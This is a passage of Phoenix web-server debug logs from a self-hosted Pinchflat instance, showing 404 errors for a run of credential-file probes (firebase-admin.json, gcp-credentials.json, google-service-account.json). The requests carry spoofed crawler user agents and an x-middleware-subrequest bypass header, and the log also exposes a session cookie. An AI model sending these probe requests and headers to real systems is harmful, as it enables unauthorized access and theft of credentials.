%{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ScCtLVRw34ABvkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/firebase-admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33422}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/firebase-admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/firebase-admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33422}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 16:49:05.197 [info] GET /public/admin.json 16:49:05.197 [debug] QUERY OK source="settings" db=0.0ms idle=57.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.197 [debug] QUERY OK source="settings" db=0.0ms idle=50.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.197 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.197 [error] #PID<0.29537.0> running PinchflatWeb.Endpoint (connection #PID<0.29536.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /public/admin.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29536.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33438}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29537.0>, params: %{}, path_info: ["public", "admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/public/admin.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ShCKbYtu2sABvkh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29536.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33438}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29536.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33438}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", (truncated) 16:49:05.272 [info] GET /google-service-account.json 16:49:05.272 [debug] QUERY OK source="settings" db=0.1ms idle=126.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.273 [debug] QUERY OK source="settings" db=0.0ms idle=96.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.273 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.273 [error] #PID<0.29539.0> running PinchflatWeb.Endpoint (connection #PID<0.29538.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /google-service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29538.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33448}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29539.0>, params: %{}, path_info: ["google-service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/google-service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61SzEIhi4vV4ABvlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29538.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33448}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29538.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33448}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:05.276 [info] GET /config/gcp-credentials.json 16:49:05.276 [debug] QUERY OK source="settings" db=0.0ms idle=100.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.276 [debug] QUERY OK source="settings" db=0.0ms idle=79.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.276 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.276 [error] #PID<0.29541.0> running PinchflatWeb.Endpoint (connection #PID<0.29540.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config/gcp-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29540.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/gcp-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33452}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29541.0>, params: %{}, path_info: ["config", "gcp-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/config/gcp-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Sz8ajIa4HUABvlh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29540.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/gcp-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33452}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29540.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/gcp-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33452}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined (truncated) 16:49:05.278 [info] GET /firebase.json 16:49:05.278 [debug] QUERY OK source="settings" db=0.0ms idle=80.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.278 [debug] QUERY OK source="settings" db=0.0ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.278 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.278 [error] #PID<0.29543.0> running 